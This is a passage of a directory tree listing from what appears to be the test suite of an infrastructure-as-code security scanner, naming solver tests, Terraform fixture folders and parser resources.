PublicDBSG.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── example.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── jsonpath_exists_solver/ │ │ │ │ │ ├── AzureSecureRule.yaml │ │ │ │ │ ├── CkSshPortOpenForAll.yaml │ │ │ │ │ ├── PublicDBSG.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── example.tf │ │ │ │ │ ├── example.yaml │ │ │ │ │ └── test_solver.py │ │ │ │ ├── jsonpath_not_equals_solver/ │ │ │ │ │ ├── AzureSecureRule.yaml │ │ │ │ │ ├── CkSshPortOpenForAll.yaml │ │ │ │ │ ├── PublicDBSG.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── jsonpath_not_exists_solver/ │ │ │ │ │ ├── AzureSecureRule.yaml │ │ │ │ │ ├── CkSshPortOpenForAll.yaml │ │ │ │ │ ├── PublicDBSG.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── example.tf │ │ │ │ │ ├── example.yaml │ │ │ │ │ └── test_solver.py │ │ │ │ ├── length_equals_solver/ │ │ │ │ │ ├── ArrayLengthEquals.yaml │ │ │ │ │ ├── DictLength.yaml │ │ │ │ │ ├── StringLengthEquals.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── length_greater_than_or_equal_solver/ │ │ │ │ │ ├── ArrayLength.yaml │ │ │ │ │ ├── DictLength.yaml │ │ │ │ │ ├── StringLength.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── length_greater_than_solver/ │ │ │ │ │ ├── ArrayLength.yaml │ │ │ │ │ ├── DictLength.yaml │ │ │ │ │ ├── StringLength.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── length_less_than_or_equal_solver/ │ │ │ │ │ ├── ArrayLength.yaml │ │ │ │ │ ├── DictLength.yaml │ │ │ │ │ ├── StringLength.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── length_less_than_solver/ │ │ │ │ │ ├── ArrayLength.yaml │ │ │ │ │ ├── DictLength.yaml │ │ │ │ │ ├── StringLength.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── length_not_equals_solver/ │ │ │ │ │ ├── ArrayLengthNotEquals.yaml │ │ │ │ │ ├── DictLengthNotEquals.yaml │ │ │ │ │ ├── StringLengthNotEquals.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_contains_solver/ │ │ │ │ │ ├── PublicSG.yaml │ │ │ │ │ ├── PublicVMs.yaml │ │ │ │ │ ├── SpecificBlockSG.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_ending_with_solver/ │ │ │ │ │ ├── AmiEndingWith.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_equals_ignore_case_solver/ │ │ │ │ │ ├── BooleanString.yaml │ │ │ │ │ ├── EncryptedResources.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_equals_solver/ │ │ │ │ │ ├── PublicDBSG.yaml │ │ │ │ │ ├── SGPorts.yaml │ │ │ │ │ ├── UnrenderedVar.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_exists_solver/ │ │ │ │ │ ├── SecureTransportExist.yaml │ │ │ │ │ ├── TagEnvironmentExists.yaml │ │ │ │ │ ├── VersioningEnabledExists.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── resources/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_intersects_solver/ │ │ │ │ │ ├── ArrayNotIntersect.yaml │ │ │ │ │ ├── PublicVMs.yaml │ │ │ │ │ ├── TagsNotIntersect.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_regex_match_solver/ │ │ │ │ │ ├── TagPrefix.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_starting_with_solver/ │ │ │ │ │ ├── NameStartingWith.yaml │ │ │ │ │ ├── NameStartingWithJsonpath.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_subset_solver/ │ │ │ │ │ ├── Subset1.yaml │ │ │ │ │ ├── SubsetJsonpath.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_within_solver/ │ │ │ │ │ ├── NameNotWithin.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── number_of_words_equals_solver/ │ │ │ │ │ ├── NumberOfWordsEquals.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── number_of_words_greater_than_or_equal_solver/ │ │ │ │ │ ├── NumberOfWordsGreaterThanOrEqual.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── number_of_words_greater_than_solver/ │ │ │ │ │ ├── NumberOfWordsGreaterThan.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── number_of_words_less_than_or_equal_solver/ │ │ │ │ │ ├── NumberOfWordsLessThanOrEqual.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── number_of_words_less_than_solver/ │ │ │ │ │ ├── NumberOfWordsLessThan.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── number_of_words_not_equals_solver/ │ │ │ │ │ ├── NumberOfWordsEquals.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── range_includes_solver/ │ │ │ │ │ ├── JsonPathRangeIncludesInt.yaml │ │ │ │ │ ├── JsonPathRangeIncludesList.yaml │ │ │ │ │ ├── JsonPathRangeIncludesListWRange.yaml │ │ │ │ │ ├── JsonPathRangeIncludesString.yaml │ │ │ │ │ ├── RangeIncludesInt.yaml │ │ │ │ │ ├── RangeIncludesList.yaml │ │ │ │ │ ├── RangeIncludesListWRange.yaml │ │ │ │ │ ├── RangeIncludesString.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── resources/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── range_not_includes_solver/ │ │ │ │ │ ├── JsonPathRangeNotIncludesInt.yaml │ │ │ │ │ ├── JsonPathRangeNotIncludesList.yaml │ │ │ │ │ ├── JsonPathRangeNotIncludesListWRange.yaml │ │ │ │ │ ├── JsonPathRangeNotIncludesString.yaml │ │ │ │ │ ├── RangeNotIncludesInt.yaml │ │ │ │ │ ├── RangeNotIncludesList.yaml │ │ │ │ │ ├── RangeNotIncludesListWRange.yaml │ │ │ │ │ ├── RangeNotIncludesString.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── resources/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test_solver.py │ │ │ │ ├── regex_match_solver/ │ │ │ │ │ ├── TagPrefix.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── starting_with_solver/ │ │ │ │ │ ├── NameStartingWith.yaml │ │ │ │ │ ├── UnrenderedVar.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── subset_solver/ │ │ │ │ │ ├── Subset1.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ └── within_solver/ │ │ │ │ ├── NameWithin.yaml │ │ │ │ ├── UnrenderedVar.yaml │ │ │ │ ├── WildcardWithin.yaml │ │ │ │ ├── __init__.py │ │ │ │ └── test_solver.py │ │ │ ├── complex_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── and_solver/ │ │ │ │ │ ├── BucketsWithDevEnvAndPrivateACL.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── not_solver/ │ │ │ │ │ ├── BucketsWithDevEnvAndPrivateACL.yaml │ │ │ │ │ ├── NotWithNestedDict.yaml │ │ │ │ │ ├── NotWithNestedList.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ └── or_solver/ │ │ │ │ ├── BucketsWithEnvTag.yaml │ │ │ │ ├── __init__.py │ │ │ │ └── test_solver.py │ │ │ ├── connection_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── and_connection_solver/ │ │ │ │ │ ├── ALBConnectedToHTTPS.yaml │ │ │ │ │ ├── AndComplexConnection.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── connection_exist_solver/ │ │ │ │ │ ├── NetworkInterfaceForInstance.yaml │ │ │ │ │ ├── S3BucketPolicyDataSource.yaml │ │ │ │ │ ├── VPCForSubnet.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── connection_not_exist_solver/ │ │ │ │ │ ├── NoNetworkInterfaceForInstance.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ ├── connection_one_exists/ │ │ │ │ │ ├── VPCHasOneOfWantedFlowLogs.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ └── or_connection_solver/ │ │ │ │ ├── SpecificInstanceComplexConnection.yaml │ │ │ │ ├── __init__.py │ │ │ │ └── test_solver.py │ │ │ ├── resource_solvers/ │ │ │ │ ├── __init__.py │ │ │ │ ├── exists_solver/ │ │ │ │ │ ├── ResourceAllowList.yaml │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── test_solver.py │ │ │ │ └── not_exists_solver/ │ │ │ │ ├── ResourceDenyList.yaml │ │ │ │ ├── __init__.py │ │ │ │ └── test_solver.py │ │ │ ├── test_base.py │ │ │ └── test_base_attribute_solver.py │ │ ├── db_connector/ │ │ │ ├── __init__.py │ │ │ └── test_graph_connector.py │ │ ├── graph_builder/ │ │ │ ├── __init__.py │ │ │ ├── graph_components/ │ │ │ │ ├── __init__.py │ │ │ │ └── test_blocks.py │ │ │ ├── test_graph_builder.py │ │ │ ├── test_local_graph.py │ │ │ ├── test_oci_policy.py │ │ │ ├── test_terraform_graph_parser.py │ │ │ └── test_utils.py │ │ ├── resources/ │ │ │ ├── array_test/ │ │ │ │ └── main.tf │ │ │ ├── arrays/ │ │ │ │ └── main.tf │ │ │ ├── azure_secure_rule/ │ │ │ │ └── main.tf │ │ │ ├── boolean_test/ │ │ │ │ └── main.tf │ │ │ ├── complex/ │ │ │ │ └── main.tf │ │ │ ├── cross_modules/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── cross_modules2/ │ │ │ │ ├── inner_module/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── cross_variables/ │ │ │ │ └── main.tf │ │ │ ├── cross_variables2/ │ │ │ │ ├── main/ │ │ │ │ │ └── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_lambda_function/ │ │ │ │ └── lambda.tf │ │ │ ├── ec2_instance_network_interfaces/ │ │ │ │ └── main.tf │ │ │ ├── ecs_with_merge/ │ │ │ │ └── main.tf │ │ │ ├── encryption/ │ │ │ │ └── main.tf │ │ │ ├── encryption_test/ │ │ │ │ └── main.tf │ │ │ ├── for_each/ │ │ │ │ └── main.tf │ │ │ ├── general_example/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── graph_files_test/ │ │ │ │ ├── more_vars.tf │ │ │ │ ├── pass_s3.tf │ │ │ │ └── variables.tf │ │ │ ├── k8_service/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── lb/ │ │ │ │ └── main.tf │ │ │ ├── lengths/ │ │ │ │ └── main.tf │ │ │ ├── malformed_provider/ │ │ │ │ └── main.tf │ │ │ ├── module_rendering/ │ │ │ │ └── example/ │ │ │ │ ├── modules/ │ │ │ │ │ ├── mock/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── second-mock/ │ │ │ │ │ └── main.tf │ │ │ │ └── stacks/ │ │ │ │ ├── s1/ │ │ │ │ │ └── main.tf │ │ │ │ └── s2/ │ │ │ │ └── main.tf │ │ │ ├── modules/ │ │ │ │ ├── git_module/ │ │ │ │ │ └── main.tf │ │ │ │ ├── linked_modules/ │ │ │ │ │ └── external_modules/ │ │ │ │ │ └── terraform-aws-modules/ │ │ │ │ │ ├── lambda/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── outputs.tf │ │ │ │ │ └── s3-bucket/ │ │ │ │ │ ├── examples/ │ │ │ │ │ │ └── notification/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── outputs.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── nested_modules_instances/ │ │ │ │ │ ├── another_one/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variable.tf │ │ │ │ │ ├── example.tfcloud/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ ├── expected_local_graph.json │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variable.tf │ │ │ │ │ ├── module2/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variable.tf │ │ │ │ │ └── module3/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ ├── registry_security_group_inner_module/ │ │ │ │ │ └── main.tf │ │ │ │ ├── s3_inner_modules/ │ │ │ │ │ ├── inner/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── same_var_names/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── module1/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ ├── module2/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ ├── submodule1/ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ └── submodule2/ │ │ │ │ │ └── variables.tf │ │ │ │ ├── stacks/ │ │ │ │ │ ├── prod/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── sub-prod/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ ├── stage/ │ │ │ │ │ │ └── main.tf │ │ │ │ │ └── test/ │ │ │ │ │ └── main.tf │ │ │ │ └── violation_example/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── modules-and-vars/ │ │ │ │ ├── context.tf │ │ │ │ ├── examples/ │ │ │ │ │ └── complete/ │ │ │ │ │ ├── context.tf │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── outputs.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── main.tf │ │ │ │ ├── outputs.tf │ │ │ │ ├── replication.tf │ │ │ │ └── variables.tf │ │ │ ├── modules_edges_tfplan/ │ │ │ │ ├── s3module.tf │ │ │ │ └── tfplan.json │ │ │ ├── nested_modules_address/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ ├── module2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── variable.tf │ │ │ ├── nested_modules_double_call/ │ │ │ │ ├── examples/ │ │ │ │ │ └── complete/ │ │ │ │ │ ├── fixtures.us-west-1.tfvars │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── outputs.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── four/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── output.tf │ │ │ │ │ └── variable.tf │ │ │ │ ├── main.tf │ │ │ │ ├── outputs.tf │ │ │ │ ├── third/ │ │ │ │ │ ├── main.tf │ │ │ │ │ ├── outputs.tf │ │ │ │ │ └── variable.tf │ │ │ │ ├── variables.tf │ │ │ │ └── versions.tf │ │ │ ├── none_contains/ │ │ │ │ └── main.tf │ │ │ ├── number_of_words/ │ │ │ │ └── main.tf │ │ │ ├── oci_policies/ │ │ │ │ └── main.tf │ │ │ ├── output_example/ │ │ │ │ ├── main.tf │ │ │ │ └── submodule/ │ │ │ │ ├── main.tf │ │ │ │ └── outputs.tf │ │ │ ├── public_security_groups/ │ │ │ │ ├── main.tf │ │ │ │ └── output.tf │ │ │ ├── public_virtual_machines/ │ │ │ │ └── main.tf │ │ │ ├── reset_edges/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── s3_bucket/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── s3_bucket_2/ │ │ │ │ └── main.tf │ │ │ ├── s3_bucket_grant/ │ │ │ │ └── main.tf │ │ │ ├── s3_bucket_policy/ │ │ │ │ └── main.tf │ │ │ ├── security_group_list_cidr_blocks/ │ │ │ │ └── main.tf │ │ │ ├── security_group_multiple_rules/ │ │ │ │ └── main.tf │ │ │ ├── security_group_multiple_rules2/ │ │ │ │ └── main.tf │ │ │ ├── security_group_multiple_rules3/ │ │ │ │ └── main.tf │ │ │ ├── tag_includes/ │ │ │ │ └── main.tf │ │ │ ├── terraform_block/ │ │ │ │ └── main.tf │ │ │ ├── tf_parsing_comparison/ │ │ │ │ ├── modifications_diff/ │ │ │ │ │ └── main.tf │ │ │ │ ├── tf_old/ │ │ │ │ │ └── main.tf │ │ │ │ └── tf_regular/ │ │ │ │ └── main.tf │ │ │ ├── variable_dependent_policy/ │ │ │ │ └── main.tf │ │ │ └── variable_rendering/ │ │ │ ├── complex_var/ │ │ │ │ └── main.tf │ │ │ ├── render_complex_keys/ │ │ │ │ └── main.tf │ │ │ ├── render_deep_nesting/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── render_dictionary_tfvars/ │ │ │ │ ├── main.tf │ │ │ │ └── terraform.tfvars │ │ │ ├── render_from_module_def_sg/ │ │ │ │ ├── main.tf │ │ │ │ └── modules/ │ │ │ │ └── security_group/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── render_from_module_vpc/ │ │ │ │ ├── main.tf │ │ │ │ └── vpc/ │ │ │ │ └── variables.tf │ │ │ ├── render_lambda/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── render_local/ │ │ │ │ └── main.tf │ │ │ ├── render_local_from_variable/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── render_module_postgresql/ │ │ │ │ ├── auto_values.tf │ │ │ │ ├── main.tf │ │ │ │ ├── outputs.tf │ │ │ │ ├── variables.tf │ │ │ │ └── versions.tf │ │ │ ├── render_nested_modules/ │ │ │ │ ├── child/ │ │ │ │ │ └── main.tf │ │ │ │ ├── main.tf │ │ │ │ ├── outputs.tf │ │ │ │ └── variables.tf │ │ │ ├── render_terragoat_db_app/ │ │ │ │ ├── consts.tf │ │ │ │ └── main.tf │ │ │ ├── render_variable/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── terraform-aws-eks-master/ │ │ │ │ ├── eks.tf │ │ │ │ └── variables.tf │ │ │ └── unrendered/ │ │ │ └── main.tf │ │ ├── runner/ │ │ │ ├── __init__.py │ │ │ ├── test_graph_builder.py │ │ │ └── test_runner.py │ │ ├── utils/ │ │ │ ├── __init__.py │ │ │ └── test_utils.py │ │ └── variable_rendering/ │ │ ├── __init__.py │ │ ├── expected_data.py │ │ ├── expected_data_foreach.json │ │ ├── expected_foreach_module_dup_foreach.json │ │ ├── expected_foreach_modules_tf_definitions.json │ │ ├── resources/ │ │ │ ├── bad_ref_fallbacks_expected.json │ │ │ ├── colon_expected.json │ │ │ ├── count_examples/ │ │ │ │ ├── module_foreach_module_foreach_resource_count/ │ │ │ │ │ ├── level1_module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ ├── level2_module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ └── main.tf │ │ │ │ └── simple_count/ │ │ │ │ └── main.tf │ │ │ ├── data_simple/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── data_with_resource/ │ │ │ │ ├── data.tf │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── doc_evaluations_verify_expected.json │ │ │ ├── foreach_examples/ │ │ │ │ ├── count_dup_resources/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── depend_resources/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ ├── foreach_dup_resources/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── foreach_lookup/ │ │ │ │ │ └── main.tf │ │ │ │ ├── foreach_tfvars/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── terraform.tfvars │ │ │ │ ├── module_foreach_module_foreach_resource_foreach/ │ │ │ │ │ ├── level1_module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ ├── level2_module/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ └── variables.tf │ │ │ │ │ └── main.tf │ │ │ │ └── nested_foreach_based_on_module_locals/ │ │ │ │ ├── main.tf │ │ │ │ └── s3_files/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── foreach_module/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ └── module2/ │ │ │ │ └── main.tf │ │ │ ├── foreach_module_and_resource/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ └── main.tf │ │ │ ├── foreach_module_dup_foreach/ │ │ │ │ ├── main.tf │ │ │ │ ├── module/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── module2/ │ │ │ │ │ └── main.tf │ │ │ │ └── variable.tf │ │ │ ├── foreach_module_with_more_than_two_resources/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ └── module2/ │ │ │ │ └── main.tf │ │ │ ├── foreach_resources/ │ │ │ │ ├── dynamic_foreach_value/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── static_foreach_value/ │ │ │ │ └── main.tf │ │ │ ├── merge_function_unresolved_var_expected.json │ │ │ ├── os_example_large_count_with_nested_module/ │ │ │ │ ├── child/ │ │ │ │ │ └── main.tf │ │ │ │ ├── modules.tf │ │ │ │ └── parent/ │ │ │ │ └── main.tf │ │ │ └── parser_dup_nested/ │ │ │ ├── main.tf │ │ │ ├── module/ │ │ │ │ ├── main.tf │ │ │ │ └── module2/ │ │ │ │ └── main.tf │ │ │ └── variable.tf │ │ ├── test_foreach_renderer.py │ │ ├── test_render_scenario.py │ │ ├── test_renderer.py │ │ ├── test_resources/ │ │ │ ├── default_map_value/ │ │ │ │ └── main.tf │ │ │ ├── dynamic_block_map_example/ │ │ │ │ ├── dynamic.tf │ │ │ │ ├── terraform.tfvars │ │ │ │ └── variables.tf │ │ │ ├── dynamic_block_nesting_attribute/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_map/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_map_brackets/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_null_lookup/ │ │ │ │ ├── examples/ │ │ │ │ │ └── simple/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variables.tf │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_resource/ │ │ │ │ └── dynamic_block_with_list.tf │ │ │ ├── dynamic_blocks_tfvars/ │ │ │ │ ├── main.tf │ │ │ │ ├── terraform.tfvars │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_tfvars_merge/ │ │ │ │ ├── main.tf │ │ │ │ ├── terraform.tfvars │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_variable_rendering/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_blocks_with_nested/ │ │ │ │ ├── main.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_nested_with_lookup_foreach/ │ │ │ │ ├── aws_iam_role.pipeline.tf │ │ │ │ ├── aws_kms_key.example.tf │ │ │ │ ├── data.aws_region.current.tf │ │ │ │ ├── examplea.auto.tfvars │ │ │ │ ├── locals.tf │ │ │ │ ├── main.tf │ │ │ │ ├── module.codepipeline.tf │ │ │ │ └── variables.tf │ │ │ ├── dynamic_with_conditional_expression/ │ │ │ │ ├── cosmosdb_account_main.tf │ │ │ │ └── cosmosdb_account_vars.tf │ │ │ ├── list_entry_module_var/ │ │ │ │ └── module/ │ │ │ │ └── main.tf │ │ │ ├── lookup_from_var/ │ │ │ │ └── main.tf │ │ │ ├── multiple_dynamic_blocks/ │ │ │ │ └── main.tf │ │ │ ├── provider_alias/ │ │ │ │ └── main.tf │ │ │ ├── skip_renderer/ │ │ │ │ └── ellipsis.tf │ │ │ └── tfvar_module_variables/ │ │ │ ├── install_airpods.tf │ │ │ ├── modules/ │ │ │ │ └── instance/ │ │ │ │ ├── main.tf │ │ │ │ ├── outputs.tf │ │ │ │ └── variables.tf │ │ │ ├── outputs.tf │ │ │ ├── provider.tf │ │ │ ├── terraform.tfvars │ │ │ └── variables.tf │ │ └── test_string_evaluation.py │ ├── image_referencer/ │ │ ├── __init__.py │ │ ├── provider/ │ │ │ ├── __init__.py │ │ │ ├── test_aws.py │ │ │ ├── test_azure.py │ │ │ └── test_gcp.py │ │ ├── resources/ │ │ │ ├── aws/ │ │ │ │ ├── apprunner.tf │ │ │ │ ├── apprunner_tfplan.json │ │ │ │ ├── batch.tf │ │ │ │ ├── batch_tfplan.json │ │ │ │ ├── codebuild.tf │ │ │ │ ├── codebuild_tfplan.json │ │ │ │ ├── ecs.tf │ │ │ │ ├── ecs_tfplan.json │ │ │ │ ├── lightsail.tf │ │ │ │ ├── lightsail_tfplan.json │ │ │ │ ├── sagemaker_image_version.tf │ │ │ │ └── sagemaker_model.tf │ │ │ ├── azure/ │ │ │ │ ├── app_service_linux_function.tf │ │ │ │ ├── app_service_linux_web.tf │ │ │ │ ├── app_service_windows_web.tf │ │ │ │ ├── batch.tf │ │ │ │ ├── containers.tf │ │ │ │ └── spring_cloud.tf │ │ │ └── gcp/ │ │ │ ├── cloud_run.tf │ │ │ ├── cloud_run_v2.tf │ │ │ └── cloudbuild.tf │ │ ├── test_manager.py │ │ ├── test_plan_runner_aws_resources.py │ │ ├── test_runner_aws_resources.py │ │ ├── test_runner_azure_resources.py │ │ └── test_runner_gcp_resources.py │ ├── module_loading/ │ │ ├── __init__.py │ │ ├── data/ │ │ │ ├── nested_modules/ │ │ │ │ └── main.tf │ │ │ ├── tf_managed_modules/ │ │ │ │ └── main.tf │ │ │ ├── tf_managed_submodules/ │ │ │ │ └── main.tf │ │ │ └── tf_module_downloader/ │ │ │ ├── private_registry_modules/ │ │ │ │ └── main.tf │ │ │ └── public_modules/ │ │ │ └── main.tf │ │ ├── loaders/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ └── README.txt │ │ │ ├── test_git_loader.py │ │ │ ├── test_local_path_loader.py │ │ │ ├── test_registry_loader.py │ │ │ └── test_version_parser.py │ │ ├── test_registry.py │ │ ├── test_runner.py │ │ └── test_tf_module_finder.py │ ├── parser/ │ │ ├── __init__.py │ │ ├── resources/ │ │ │ ├── double_slash.tf │ │ │ ├── failing_module_address/ │ │ │ │ └── registry_security_group.tf │ │ │ ├── file_bom/ │ │ │ │ ├── with_bom.tf │ │ │ │ └── without_bom.tf │ │ │ ├── hcl_timeout/ │ │ │ │ └── main.tf │ │ │ ├── local_module/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ └── main.tf │ │ │ ├── malformed_outputs/ │ │ │ │ └── main.tf │ │ │ ├── parse_backtrack_module/ │ │ │ │ ├── example/ │ │ │ │ │ └── main.tf │ │ │ │ └── main.tf │ │ │ ├── parse_file_vs_dir/ │ │ │ │ └── main.tf │ │ │ ├── parser_dup_nested/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ └── module2/ │ │ │ │ └── main.tf │ │ │ ├── parser_nested_modules/ │ │ │ │ ├── main.tf │ │ │ │ └── module/ │ │ │ │ ├── main.tf │ │ │ │ ├── module2/ │ │ │ │ │ ├── main.tf │ │ │ │ │ └── variable.tf │ │ │ │ └── variable.tf │ │ │ ├── parser_scenarios/ │ │ │ │ ├── README.md │ │ │ │ ├── account_dirs_and_modules/ │ │ │ │ │ ├── envs/ │ │ │ │ │ │ ├── myaccount/ │ │ │ │ │ │ │ └── us-east-1/ │ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ │ ├── terraform.tfvars │ │ │ │ │ │ │ └── variables.tf │ │ │ │ │ │ └── myotheraccount/ │ │ │ │ │ │ └── us-east-1/ │ │ │ │ │ │ ├── main.tf │ │ │ │ │ │ ├── terraform.tfvars │ │ │ │ │ 